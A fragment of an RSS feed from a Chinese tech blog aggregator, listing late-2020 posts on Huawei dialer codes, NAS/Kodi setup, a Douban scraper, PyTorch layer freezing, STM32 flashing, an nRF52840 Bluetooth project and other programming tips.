      <description>说到手机拨号键，你能够想到什么呢？我想大部分人想到的都是拨打电话，其实手机拨号键能做的事情多着呢！它能实现很多神奇的功效，现在知道也不晚。小伙伴们，话不多说，赶紧往下看吧！&#xA;今天以华为手机为例，向大家介绍一些拨号键的神奇功效。&#xA;1. 查询手机真假/翻新机&#xA;现在什么东西可能都有假的，为了以防万一。你想要查询手机真假、翻新机的话，可以在手机拨号键界面输入【*#06#】，查询出来后将IMEI1码和购买手机背面贴的进行对比，就能知道此手机的真假了。&#xA;2. 查看手机使用记录&#xA;在日常的生活中，我们可能想查询一部手机的使用情况，除了可以检查手机APP电量消耗来推测外，其实我们还可以直接输入这串代码进行查看。&#xA;方法：拨号界面输入【*#*#6130#*#*】，点击使用情况统计数据，就可以看到手机的使用情况了。&#xA;3. 给手机补电&#xA;有的小伙伴可能会有这方面的困扰，手机用久了电池却变得不耐用了。其实我们可以使用这串代码让电池焕发活力，给手机电池补一补电。&#xA;方法：拨号界面输入【*#*#2846579#*#*】，就会进入工程菜单界面，接着点击补电就可以了。&#xA;4. 快速拨号&#xA;快速拨号功能一定要给家里的老人小孩设置一下，这样也会省很多事情。万一发生个什么比较紧急的事情，可直接长按设置好的&#34;快捷键&#34;就能拨出给紧急联系人了。&#xA;方法：长按一个数字键，点击设置接着选择一个联系人，就设置成功了。&#xA;5. 玩机技巧&#xA;虽然华为手机的备忘录可以记录灵感，但如果有中英文互译的需求就难以实现。我们想要实现的话就只能依靠【录音转文字助手】这种工具了，不仅功能强大且能快速提高效率。&#xA;方法：去手机应用市场搜索&#34;录音转文字助手&#34;——打开工具——选择一个功能使用，就能轻松实现音频转文字、中英文翻译的效果了。&#xA;华为手机拨号键居然还有这么神奇的功效，现在才知道！真是涨知识了。小伙伴们，看了以上的所有利用拨号键就能实现的功能，是不是觉得很强大呢？感兴趣的小伙伴赶快去试试吧。</description>
    </item>
    <item>
      <title>手机拨出等待时间长_华为手机一键拨号真好用，设置起来也方便，你还不知道吗？...</title>
      <link>https://bchobby.github.io/posts/220e360ea2d302921588c21fe7fc3355/</link>
      <pubDate>Sun, 13 Dec 2020 11:05:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/220e360ea2d302921588c21fe7fc3355/</guid>
      <description>大家好，我是小马，不给马儿吃草，还想让马儿跑。这里没有花里胡哨，只有最实用的手机功能分享，不求多少点赞，只愿以我所学所做为你所用，便是我最开心的事情啦。&#xA;言归正传，开始我们今天的分享：&#xA;相信不少人都有发现，身边的那谁谁谁怎么只在拨号盘按了一个数字就把电话打出去了？这是什么神技能？我的手机可以吗？怎么设置呢？&#xA;其实，这个就是快捷拨号，也就是一键拨号，下面我来跟大家分享下这个一键拨号是怎么设置的？下面我以华为手机为例为大家讲解下：&#xA;直接从手机的主界面点击拨号图标&#xA;进入到拨号盘的主界面&#xA;长按界面上除了“1”和“0”之外的其他数字，我们以“3”为例，长按后就出弹出设置快捷拨号的窗口如下图&#xA;我们点击确定，则会直接进入到选择联系人界面，如下图&#xA;然后我们点击某个需要添加的联系人，即可设置成功，界面返回到拨号界面并在拨号盘下方显示“已设置”&#xA;接着我们就可以直接使用一键拨号进行拨打电话了，当我们需要给该联系人拨打电话时，直接在拨号盘上，长按数字“3”即可将电话拨出，是不是很方便？&#xA;注：在设置一键拨号之前，需要先将要添加至一键拨号的联系人电话添加至手机通讯录中，方可进行一键拨号的设置。&#xA;在键盘上除了1/0两个数字外，其他的2/3/4/5/6/7/8/9等8个数字键均可以设置一键拨号。&#xA;今天的一键拨号/快速拨号内容就分享到这里，大家平时在使用手机中有什么基础功能方面的操作，有不懂的可以留言或私信，我得空为大家进行解答。</description>
    </item>
    <item>
      <title>学习：博客资料</title>
      <link>https://bchobby.github.io/posts/f670b32da0318354b82eddc08ca93227/</link>
      <pubDate>Sun, 13 Dec 2020 09:00:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f670b32da0318354b82eddc08ca93227/</guid>
      <description>select、poll、epoll之间的区别(搜狗面试)&#xA;https://www.cnblogs.com/aspirant/p/9166944.html&#xA;IO多路复用之select总结&#xA;https://www.cnblogs.com/Anker/p/3258674.html&#xA;O多路复用之poll总结&#xA;https://www.cnblogs.com/Anker/p/3261006.html&#xA;IO多路复用之epoll总结&#xA;https://www.cnblogs.com/Anker/p/3263780.html&#xA;【原创】分布式之数据库和缓存双写一致性方案解析&#xA;https://www.cnblogs.com/aspirant/p/9166944.html&#xA;Reactor模式详解&#xA;https://www.cnblogs.com/winner-0715/p/8733787.html</description>
    </item>
    <item>
      <title>群辉NAS&#43;KODI （二）----NAS文件配置&#43;电视安装kodi安装配置</title>
      <link>https://bchobby.github.io/posts/36c547365748de22d77de58eb93c939f/</link>
      <pubDate>Sat, 12 Dec 2020 22:40:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36c547365748de22d77de58eb93c939f/</guid>
      <description>公众号：IT酱油瓶&#xA;作者：网工紫电&#xA;一个IT行业技术创业者&#xA;1&#xA;电视端安装kodi&#xA;1.下载地址：http://www.kodiplayer.cn/download/&#xA;选择一个版本下载即可。&#xA;2.设置kodi中文界面，这个步骤百度一下有很多，略。&#xA;3.若kodi里面没有简体中文选项，需要把电视连接网络，在线下载，在System选项下，选择Add-ons，再选择Running，再选择 Look and feel，再选择Languages，下载完字库，再重新设置中文字库。&#xA;2&#xA;NAS配置：&#xA;1.登录设备&#xA;2.新建RAID，我只有一块硬盘所以我选择Basic选项，若有多块硬盘可选择其他RAID&#xA;3.新建存储空间，如下图，我的是已经建完，再截的图。&#xA;4.新建共享文件夹&#xA;可根据是否加密选择加密，下一步完成&#xA;5.新建完成后即可以在左侧看到共享文件夹，下一步在共享文件夹下新建目录即可。&#xA;6.创建用户&#xA;然后一直点下一步完成。&#xA;注意开启smb服务和设置&#xA;3&#xA;电视端kodi连接NAS：&#xA;打开kodi，选择添加添加视频&#xA;点击浏览&#xA;选择smb的选项&#xA;找到workgroup，然后找到视频目录确定即可。&#xA;至此 我们可以将以前保存的或者网上下载的电影电视剧放到NAS上，用电视调用播放了，速度很快不会卡顿。&#xA;附QQ资料群：&#xA;扫码关注我们&#xA;今天因为你的分享，让我元气满满！&#xA;因为你的分享、点赞、在看&#xA;我足足的精气神儿！</description>
    </item>
    <item>
      <title>爬虫实战7：豆瓣影视爬取</title>
      <link>https://bchobby.github.io/posts/70e26f73a89a5ffd4dcba9273c652139/</link>
      <pubDate>Sat, 12 Dec 2020 21:13:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70e26f73a89a5ffd4dcba9273c652139/</guid>
      <description>文章目录 前言一、页面解析二、代码展示 1.引入库2.主要代码展示总结 前言 一、页面解析 第一步：本次爬取的内容是豆瓣下电影标签，涉及到的热门主要如下所示，爬取的字段主要有：&#xA;[&#39;电影名&#39;,&#39;评分&#39;,&#39;上映时间&#39;,&#39;导演&#39;,&#39;编剧&#39;,&#39;演员1&#39;,&#39;演员2&#39;,&#39;演员3&#39;,&#39;演员4&#39;,&#39;演员5&#39;,&#39;类型1&#39;,&#39;类型2&#39;] 第二步：对页面解析，得出使用哪个解析工具比较方便，对字段进行处理，右键检查元素&#xA;二、代码展示&#xA;1.引入库 import requests import json import csv import time from lxml import etree 2.代码书写 1、对动态加载的链接进行分析，可以发现，只有page_start在发生变化，变化的规律是0*20，可以构造链接对数据进行爬取&#xA;https://movie.douban.com/j/search_subjects?type=movie&amp;amp;tag=%E7%83%AD%E9%97%A8&amp;amp;sort=recommend&amp;amp;page_limit=20&amp;amp;page_start=0&#xA;https://movie.douban.com/j/search_subjects?type=movie&amp;amp;tag=%E7%83%AD%E9%97%A8&amp;amp;sort=recommend&amp;amp;page_limit=20&amp;amp;page_start=20&#xA;def get_parse(result): items = result[&#39;subjects&#39;] for it in items: id = it[&#39;id&#39;] # 电影名称 movie = it[&#39;title&#39;] # 评分 pingfen = it[&#39;rate&#39;] # 链接 link = it[&#39;url&#39;] data = [id, movie, pingfen, link] get_content(movie,pingfen,link) time.sleep(1) # print(data) 2、对详情页进行爬取，其中涉及到的字段比较多，每个国家的电影的字段没有规律，没有获取全部字段，只爬取了导演，编辑，主演，类型，播放时间等字段&#xA;def get_content(movie,pingfen,link): D=[] res = requests.</description>
    </item>
    <item>
      <title>echarts y轴四等分</title>
      <link>https://bchobby.github.io/posts/3f4fbbbecdee2959a95ac26d0cb8e9e5/</link>
      <pubDate>Sat, 12 Dec 2020 17:01:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f4fbbbecdee2959a95ac26d0cb8e9e5/</guid>
      <description> let optionWago = { xAxis: { data: this.wagon.XPosition, }, yAxis: { minInterval: 1,//坐标轴是整数 max:eval(`Math.max(${this.wagon.curveDatas})`)+3//数据最大值加3 }, series: [ { data: this.wagon.curveDatas, }, ], }; </description>
    </item>
    <item>
      <title>web 打印条码 有虚线_条码打印机走纸不准怎么办？解决办法都在这了</title>
      <link>https://bchobby.github.io/posts/2d2dc4bb96880777f395d7a381c1a25e/</link>
      <pubDate>Sat, 12 Dec 2020 14:30:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d2dc4bb96880777f395d7a381c1a25e/</guid>
      <description>最近经常接到客户反映条码打印机走纸不准，每次都是走一张半，或者打一张空一张，还有客户反映打印后的撕纸位置不对，这就是条码打印机的校准或者是打印模式出了问题，遇到这种情况我们该怎么解决呢，砹石科技给大家做了个简单的总结：&#xA;1、请先确定纸张和碳带是否装好?&#xA;一般在打印机的内部都有实线和虚线的标注，分别代表了标签的色带的走纸通道，如果出现走纸不准首先确定一下耗材的安装有无问题&#xA;2、确定介质类型和打印模式是否正确&#xA;条码打印机的打印介质分为连续纸和不连续纸两种类型，如果设置为连续纸类型，打印机是不识别纸张位置的，可以进入打印机&#xA;或者驱动查看相应设置，打印模式则分为回卷Rewind、撕纸Tear off、剥离Peel off、切刀Cutter等模式，最常用的是撕纸模式Tear off，&#xA;如果设置为剥离模式会造成打印之后回退的现象造成撕下位置不对，同样可以在驱动和打印机之中做确认，优先确认驱动，因为一般&#xA;驱动设置是会覆盖打印机的设置的。如果是打印方式不对，比如热转印选择成了热敏是不会影响打印机找纸的，只是在打印过程中可能会&#xA;报错，所以您在使用过程中注意区分。&#xA;2、检查纸张感应器是否调在纸的宽度范围内(吊牌纸请调在洞上纸边)。&#xA;如果您是桌面机的话感应器一般都是固定的，如果您是打孔耗材请确认耗材绕向有无问题，确认一下孔的位置和耗材留孔位置&#xA;是否对的上，如果您是台式机的话稍微复杂一点，以斑马105sl PLUS为例，感应器为上下一对，您需要确认感应器在纸张范围内&#xA;，而且上下正对，有些纸张比较窄有可能避开了感应通道，需要您手动移动一下感应器的位置，上下反射式感应器，所以需要上下&#xA;位置一致。&#xA;3、检查感应器是否被纸粘到或有脏东西。如果有请将纸张清掉或拿吹气球或者小毛刷清理感应器。&#xA;4、查看页面设置的标签长度是否与实际纸张相同。如果设置不同也会造成条码打印机走纸不准的情况&#xA;5、感应器灵敏度调整&#xA;如果上述几种方法都不能解决的话，可以尝试一下手动校准，具体操作步骤请查看相应机器的用户手册&#xA;如果以上几种方法还不能排除故障极有可能是硬件出了问题，这边建议您联系您的采购商做保处理&#xA;如果您有标签需求或者您在标签使用过程中有任何问题，都可以随时联系我们，会有专人为您答疑</description>
    </item>
    <item>
      <title>pythonfor循环文件写入失败_Python文件循环写入行时防止覆盖的解决方法</title>
      <link>https://bchobby.github.io/posts/8590719b004e63a37a7877aac67c8d16/</link>
      <pubDate>Sat, 12 Dec 2020 04:49:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8590719b004e63a37a7877aac67c8d16/</guid>
      <description>存在问题：&#xA;利用写入代码&#xA;with open(r&#39;F:PythonFilesPycharmFilessq.csv&#39;, &#39;w&#39;, encoding=&#39;utf-8-sig&#39;, newline=&#39;&#39;) as csvFile:&#xA;csv.writer(csvFile).writerow([col1,col2,col3,col4,col5,col6,col7,col8,col9,col10,col11]) # 给csv文件中插入一行&#xA;向CSV文件中循环写入行时，后面的数据总是把前面的数据覆盖掉&#xA;解决方案：&#xA;将写入属性“w”改为属性“a”，表示循环写入&#xA;with open(r&#39;F:PythonFilesPycharmFilessq.csv&#39;, &#39;a&#39;, encoding=&#39;utf-8-sig&#39;, newline=&#39;&#39;) as csvFile:&#xA;csv.writer(csvFile).writerow([col1,col2,col3,col4,col5,col6,col7,col8,col9,col10,col11]) # 给csv文件中插入一行&#xA;以上这篇Python文件循环写入行时防止覆盖的解决方法就是小编分享给大家的全部内容了，希望能给大家一个参考，也希望大家多多支持软件开发网。&#xA;您可能感兴趣的文章:Python创建文件和追加文件内容实例Python文件操作,open读写文件,追加文本内容实例python覆盖写入,追加写入的实例</description>
    </item>
    <item>
      <title>Python爬虫爬取HTML文件没有显示图片的原因</title>
      <link>https://bchobby.github.io/posts/28c9fc02821bb34c9bb6425da2806998/</link>
      <pubDate>Fri, 11 Dec 2020 14:38:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28c9fc02821bb34c9bb6425da2806998/</guid>
      <description>解析 网页上图片的网址与书苑的网址是不一样的，我们使用request.get()只是单纯爬取了书苑网址，但是图片的网址还需要另外打开。</description>
    </item>
    <item>
      <title>从硬件到软件玩转Nordic nRF52840 低功耗蓝牙</title>
      <link>https://bchobby.github.io/posts/d9b328b2ba8a94dbc928f45349c74c2e/</link>
      <pubDate>Fri, 11 Dec 2020 14:30:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9b328b2ba8a94dbc928f45349c74c2e/</guid>
      <description>电路板设计 nRF52840在数据手册中给出了几种不同供电方案下的参考电路，其外围电路相对简单。对个人而言，开发过程中尽可能的降低成本，简化电路，在业余时间中完成快速开发。&#xA;考虑到元器件购买数量较小的情况下，其最小系统成本大约30元，然而nRF52840的封装需要开钢网，增加成本和焊接难度。因此，在某宝找了一个很便宜的模组，约30多一些吧，感觉挺划算的，其电路如图：&#xA;从商品描述中可以看到实物的尺寸和预留的引脚如下：&#xA;上述两张图为商品描述，暂不添加链接，避免广告嫌疑。如有侵权，请及时相告。&#xA;到此为止，主芯片已经搞定，接下来是芯片的供电方式，避免额外使用稳压器，直接从USB供电，同时，将芯片VDD作为输出电压，预留一些测试IO口即为原理图方案，绘制PCB如图：&#xA;将模组正下方开槽，露出模组底下焊盘，输出gerber文件。打板回来的板子如图所示，测试电源地是否短路，测试开槽孔的连接性是否完好，接下来完成焊接。&#xA;至此，焊接好的电路板如图所示：&#xA;确认好电路板焊接无误后接上USB线，测试nRF52840的电源输出正确。&#xA;开发环境准备 工具名称开发环境Keil 523PacknRF_DeviceFamilyPack.8.35.0.packSDKnRF5SDK160098a08e2.zipJlink驱动V630AppnRF Connect SDK 下载地址&#xA;Jlink驱动 下载地址&#xA;从点灯开始 打开nordic提供的例程，nRF5SDK160098a08e2\examples\peripheral\blinky\pca10056\blank\arm5_no_packs，发现找不到相应的pack，幸好发现网上有同样的问题，解决方法参考CSDN文章《nRF52840（一） 环境搭建》。在pca10056.h中修改例程中对应LED的引脚位置，编译工程。&#xA;该工程中不存在协议栈，直接下载程序，下载后装上LED灯，可以看到LED闪烁。&#xA;直奔串口蓝牙 打开nordic提供的例程，&#xA;nRF5SDK160098a08e2\examples\ble_peripheral\ble_app_uart\pca10056\s140\arm5_no_packs，先下载协议栈，然后下载应用程序，终于到了见证奇迹的时刻，打开nRF connect开始搜索附近的蓝牙，该例程中的蓝牙名称始终没有出现，从此开始了查找bug之路。&#xA;借助CSDN中的一些文章，总算拨开云雾见青天。现总结一下，在调试的过程中，主要是由于官网例程与硬件结合紧密，在初始化时会进行相关检查，程序容易出现APP_CHECK_ERROR，所以针对当前硬件电路板，去掉不相关的LED和BUTTON初始化，配置好串口，另外协议栈始采用外部晶振，需要设置为内部RC时钟。&#xA;再次打开搜索蓝牙设备，Nordic_UART出现了，终于看见了曙光。&#xA;做一些简单的测试，在手机端发送字符串如图：&#xA;在串口助手中可以接收到手机端发送的数据。&#xA;在这里感谢CSDN中一些介绍蓝牙串口的相关文章，才得以实现本DIY。&#xA;化繁为简 该蓝牙DIY要应用在实际中时，为避免冗余，将去除串口和按键功能，该项工作需要以下操作：&#xA;去除下列5个文件不做编译&#xA;nrf_drv_uart.c&#xA;nrfx_uart.c&#xA;nrfx_uarte.c&#xA;app_uart_fifo.c&#xA;retarget.c注释main.c中串口按键相关代码&#xA;nus_data_handler函数中串口发送代码&#xA;uart_event_handle函数定义&#xA;uart_init函数定义&#xA;main函数中uart_init和printf设置sdk_config.h中宏定义&#xA;将nRF_Libraries中串口相关宏定义置位0设置boards.h中宏定义&#xA;设置BSP_INIT_BUTTONS为0 经上述修改，可以保留源代码中的4个LED指示灯，这里可以通过蓝牙发送控制命令点亮或者熄灭LED灯。&#xA;上图为即将完成的蓝牙控制跑马灯。&#xA;nRF52840驱动0.96寸OLED 在nRF52840蓝牙实现了LED灯的状态之后，可以说该DIY没有什么大的毛病，接下来就是根据兴趣实现一些想实现的东西。&#xA;闲暇之余，不经意间发现了之前用过的OLED显示屏，于是有一种点亮它的冲动。该OLED模块出厂默认配置为并行通信方式，考虑到该DIY模块预留的IO数量有限，接线困难，在这里通过修改电路板上BS1和BS2的为低电平，设置为SPI通信方式。&#xA;其实不管是SPI还是并行通信方式，字符和图片的显示代码是一致的，仅仅是底层驱动方式不一样。网上基于STM32和51单片机的代码很多，可参考CSDN文章《OLED驱动 0.96寸 模拟SPI驱动（STM32）》。&#xA;除了可以显示最近本的字符之外，还可以通过Img2LCD软件和取字模软件实现图片和汉字的显示，相关操作也很多。&#xA;上图为OLED显示效果，其中显示了年份、月份和二维码图片。个人通过手机蓝牙发送自己的姓名之后，在OLED上即可显示自己的毕业年份和简单的信息。</description>
    </item>
    <item>
      <title>定时切换图片的bat代码</title>
      <link>https://bchobby.github.io/posts/08b385613eea695d655d65e3e2a47530/</link>
      <pubDate>Fri, 11 Dec 2020 11:39:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08b385613eea695d655d65e3e2a47530/</guid>
      <description> 定时切换图片的bat代码 只支持同类型文件, 有数字规律的同一个文件下的图片&#xA;@echo off ::循环的内容 :loop ::图片的名称要有规律 set /a a = 1 + %random% %%(32) echo 当前图片名称 %a% ::按规律设置指定文件 reg add &#34;hkcu\control panel\desktop&#34; /v Wallpaper /d &#34;C:\Users\SD\Desktop\壁纸\%a%.jpg&#34; /f reg add &#34;hkcu\control panel\desktop&#34; /v WallpaperStyle /t REG_DWORD /d 2 /f RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters ::10分钟一换, 单位s timeout 600 &amp;gt; nul goto loop exit </description>
    </item>
    <item>
      <title>pytorch——冻结某层参数</title>
      <link>https://bchobby.github.io/posts/e9164d6a4f9f2e362b89a67f36bc520e/</link>
      <pubDate>Fri, 11 Dec 2020 11:36:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9164d6a4f9f2e362b89a67f36bc520e/</guid>
      <description>参考链接：&#xA;https://blog.csdn.net/qq_41368074/article/details/107860126&#xA;https://blog.csdn.net/Code_Mart/article/details/88254444&#xA;首先，我们知道，深度学习网络中的参数是通过计算梯度，在反向传播进行更新的，从而能得到一个优秀的参数，但是有的时候，我们想固定其中的某些层的参数不参与反向传播。比如说，进行微调时，我们想固定已经加载预训练模型的参数部分，指向更新最后一层的分类器，这时应该怎么做呢。&#xA;方法一 首先我们的模型定义为：&#xA;class Net(nn.Module): def __init__(self): super(Net, self).__init__() self.conv1 = nn.Conv2d() self.conv2 = nn.Conv2d() self.fc1 = nn.Squential( nn.Linear(), nn.Linear(), ReLU(inplace=True), ) self.classifier = nn.Linear() 我们通过设置参数param的requires_grad属性为False，来冻结该层参数。我们可以定义如下函数：&#xA;def freeze(layer): for child in layer.children(): for param in child.parameters(): param.requires_grad = False 这里的layer，即为我们需要冻结的某层。如果我们要冻结fc1层，则： class Net(nn.Module): def __init__(self): super(Net, self).__init__() self.conv1 = nn.Conv2d() self.conv2 = nn.Conv2d() self.fc1 = nn.Squential( nn.Linear(), nn.Linear(), ReLU(inplace=True), ) freeze(self.fc1)######### self.classifier = nn.Linear() 当然这样还不够，我们要在定义优化器的时候，告诉优化器，哪些需要更新，那些不需要，这一步至关重要，即：&#xA;optimizer.SGD(filter(lambda p: p.</description>
    </item>
    <item>
      <title>stm32烧录软件_stm32怎么烧录程序</title>
      <link>https://bchobby.github.io/posts/2e4e821dd8dd3298300115d867ebb000/</link>
      <pubDate>Fri, 11 Dec 2020 08:53:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e4e821dd8dd3298300115d867ebb000/</guid>
      <description>STM32烧录程序目前笔者知道的有三种：JLink ，Ulink和串口烧录，使用工具分别为：JLink，ULink以及USB转TTL线。&#xA;ULink 烧录程序&#xA;在安装MDK过程中，会有提示是否安装驱动，该驱动就为ULink驱动，如果选择是就不需要再安装驱动了，否则就需要自己手动下载驱动并安装，驱动安装完毕之后我们需要告诉我们的MDK我们使用的是什么烧录工具，右键Target目录选择Options for Target…。。，在弹出的Options for target 选项卡中选择Debug选项，在其右上方的下拉框中选择ULink/ME Cortex Debugger 即是选择了ULink进行程序烧录。&#xA;这里需要注意的是ULink接上电脑之后不一定能被安装的MDK正确识别，我们点击下拉框右边的Setting按钮将会弹出Cortex-M Target Driver Setup界面，在该界面下，如果在JTAG Device Chain区域显示No ULink Device Found 或者就是一片空白都表示我们的MDK没有识别到你已经接到电脑上的ULink，此时就需要你查找一下ULink端的原因了。&#xA;JLink 烧录程序&#xA;JLink驱动并没有集成在MDK安装程序中所以一定需要我们手动下载Jlink驱动并安装，驱动安装完毕之后我们需要告诉我们的MDK我们使用的是什么烧录工具，右键Target目录选择Options for Target…。。，在弹出的Options for target 选项卡中选择Debug选项，在其右上方的下拉框中选择JLink/J-TRACE Cortex 即是选择了JLink进行程序烧录。&#xA;同样的，需要注意的是JLink接上电脑之后不一定能被安装的MDK正确识别，我们点击下拉框右边的Setting按钮将会弹出Cortex JLink/JTrace Target Driver Setup界面，在该界面下，如果在JTAG Device Chain区域显示Cannot redad JLink version number 或者就是一片空白都表示我们的MDK没有识别到你已经接到电脑上的JLink，如果右边J-Link / J-Trace Adaper下方的ort下拉框可选，选择成为另外一个试试(原本JTAG选为SWD，原本SWD选为JTAG)，如果可以识别就代表可以进行程序烧录了。&#xA;串口烧录程序&#xA;我们使用串口烧录程序，使用USB转TTL线，USB转TTL驱动根据我们内部的转换芯片安装相应的驱动，常见的有一下几种：CH340，PL2303，FTDI，CP210x等，驱动完成之后，右键Target目录选择Options for Target…。。，在弹出的Options for target 选项卡中选择Output选项，勾选上Create Hex File复选框，这样我们在编译代码时，便会在工程目录下生成Hex文件，我们串口烧录程序其实就是使用外部工具将该Hex文件中的内容，烧录到STM32 FLASH中去。需要使用到的烧录软件可以使用JLink 官方提供的串口烧录软件，也可以使用mcuisp USB一键下载工具也叫作FlyMcu进行烧录。&#xA;使用FlyMCU时，首先需要指定软件使用的串口号和波特率，在进行程序烧录之前必须设置我们STM32的烧录模式，需要将STM32 BOOT0设置为高电平，BOOT1设置为低电平，然后复位STM32，在FlyMcu中首先选择好要下载的HEX文件(编译生成的HEX文件在工程目录下生成)，然后选择STMISP选项卡，点击开始编程按钮，便可以进行程序烧录了。&#xA;为了方便大家更好的学习，畅学电子网特别增加了针对单片机和EDA的公众号，每天推送相关知识，希望能对你的学习有所帮助！</description>
    </item>
    <item>
      <title>DDD下的目录结构</title>
      <link>https://bchobby.github.io/posts/778aa0f8d9f175add724c2347cb3434f/</link>
      <pubDate>Thu, 10 Dec 2020 22:43:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/778aa0f8d9f175add724c2347cb3434f/</guid>
      <description> </description>
    </item>
    <item>
      <title>python怎么建立矩阵的方法_如何创建一个3x3矩阵并填充它</title>
      <link>https://bchobby.github.io/posts/9e1c31a0bfbb895daf82025b1ab07859/</link>
      <pubDate>Thu, 10 Dec 2020 19:41:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e1c31a0bfbb895daf82025b1ab07859/</guid>
      <description>有多种方法可以解决这个问题。正如评论中所提到的，你要做的是让每一个组合都装满9个空桶中的3个。然后将这些存储桶表示为一个矩阵，然后就只需要改变存储桶的存储方式。你可以很容易地创建矩阵from itertools import permutations&#xA;import numpy as np&#xA;# Gets all possible combinations of non-zero indices&#xA;non_zero_index_sets = permutations(range(9), 3)&#xA;# Turn these sets of 3 non-zero indices into length 9 vectors just containing&#xA;# zeros and ones, e.g. [2, 7, 8] becomes [0, 0, 1, 0, 0, 0, 0, 1, 1]&#xA;vectors = []&#xA;for non_zero_set in non_zero_index_sets:&#xA;vector = np.zeros(9)&#xA;vector[list(non_zero_set)] = 1&#xA;vectors.append(vector)&#xA;# Turn each length-nine vector into a 3x3 matrix, e.</description>
    </item>
    <item>
      <title>Android 腾讯 Matrix 原理分析（一）：Matrix 概览</title>
      <link>https://bchobby.github.io/posts/51e6c1e9ea1d323ce25e8e70a1c5c8ef/</link>
      <pubDate>Thu, 10 Dec 2020 14:50:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51e6c1e9ea1d323ce25e8e70a1c5c8ef/</guid>
      <description>写在前面 近期开始 Android Framework 层的学习，然而较为庞大的 Framework 让人感觉无从下手。碰巧看到一篇文章说到腾讯的 性能监控框架 Matrix 用到了大量 Framework 相关的知识，所以试着分析下该框架的源码实现。&#xA;在学习大佬们代码的同时主要关注该框架用到了哪些、是怎么使用的 Framework 的内容。&#xA;文章目录 写在前面一、Matrix 简介官方说明Matrix for Android 二、使用 Matrix三、Matrix 结构初始化插件 PluginMatrix 构造器AppActiveMatrixDelegateController Issue总结 一、Matrix 简介 官方说明 Matrix 是一款微信研发并日常使用的应用性能接入框架，支持iOS, macOS和Android。 Matrix 通过接入各种性能监控方案，对性能监控项的异常数据进行采集和分析，输出相应的问题分析、定位与优化建议，从而帮助开发者开发出更高质量的应用。&#xA;大公司就是大气，直接双端都给你整一套。&#xA;Matrix 地址&#xA;Matrix for Android Matrix-android 当前监控范围包括：应用安装包大小，帧率变化，启动耗时，卡顿，慢方法，SQLite 操作优化，文件读写，内存泄漏等等。&#xA;APK Checker: 针对 APK 安装包的分析检测工具，根据一系列设定好的规则，检测 APK 是否存在特定的问题，并输出较为详细的检测结果报告，用于分析排查问题以及版本追踪Resource Canary: 基于 WeakReference 的特性和 Square Haha 库开发的 Activity 泄漏和 Bitmap 重复创建检测工具Trace Canary: 监控界面流畅性、启动耗时、页面切换耗时、慢函数及卡顿等问题SQLite Lint: 按官方最佳实践自动化检测 SQLite 语句的使用质量IO Canary: 检测文件 IO 问题，包括：文件 IO 监控和 Closeable Leak 监控 好家伙，功能还真不少。看样子是个大工程，排个计划吧：</description>
    </item>
    <item>
      <title>一道单调栈的题目</title>
      <link>https://bchobby.github.io/posts/784ecafdef50b72642aa5ac40c1b3d85/</link>
      <pubDate>Thu, 10 Dec 2020 13:34:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/784ecafdef50b72642aa5ac40c1b3d85/</guid>
      <description>一道单调栈的题目 背景思路 背景 今天偶然遇到一道单调栈的题目，顺便复习下闲置已久的算法知识，题目的意思大致就是给你一个区间，找到子段和&amp;gt;=K的一个最小子段。&#xA;思路 子段问题的关键是前缀和，先求一下&#xA;int sum[50005]={0}; for(int i=0;i&amp;lt;len;i++) sum[i+1] = sum[i] + A[i]; 紧接着，关键就是维持一个单调栈，下面解释一下什么是单调栈，先给一段代码&#xA;deque&amp;lt;int&amp;gt; dq; //双端队列数据结构 for(int i=0;i&amp;lt;=len;i++){ while(!dq.empty() &amp;amp;&amp;amp; sum[i]&amp;lt;=sum[dq.back()]){ //当前前缀小于 dq.pop_back(); } dq.push_back(i); } 举个例子 [1,3,-4,5,-7] 前缀和[1,4,0,5,-2]&#xA;单调栈遍历过程中变化(记录下标）&#xA;i=0: 0&#xA;i=1: 单调上升 push 1，deque中为0,1&#xA;i=2: 不单调了，重新来 pop掉0和1，push 2 即deque中的数为下标2&#xA;i=3: 单调，push 3，deque中为2，3&#xA;i=4:不单调，pop掉2，3，push进4，即deque中为4&#xA;基于单调栈，如何找到子段和&amp;gt;=K的一个最小子段呢，如下所示：&#xA;class Solution { public: int shortestSubarray(vector&amp;lt;int&amp;gt;&amp;amp; A, int K) { int len = A.size(); int sum[50005]={0}; // sum[0]=A[0]; for(int i=0;i&amp;lt;len;i++) sum[i+1] = sum[i] + A[i]; deque&amp;lt;int&amp;gt; dq; int ans = len+1; for(int i=0;i&amp;lt;=len;i++){ while(!</description>
    </item>
    <item>
      <title>计算机视觉python pdf_《深度学习实践：计算机视觉》PDF&#43;缪鹏分享</title>
      <link>https://bchobby.github.io/posts/ae9fcfab95e0e915deea4c6b9f48ca18/</link>
      <pubDate>Thu, 10 Dec 2020 10:34:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae9fcfab95e0e915deea4c6b9f48ca18/</guid>
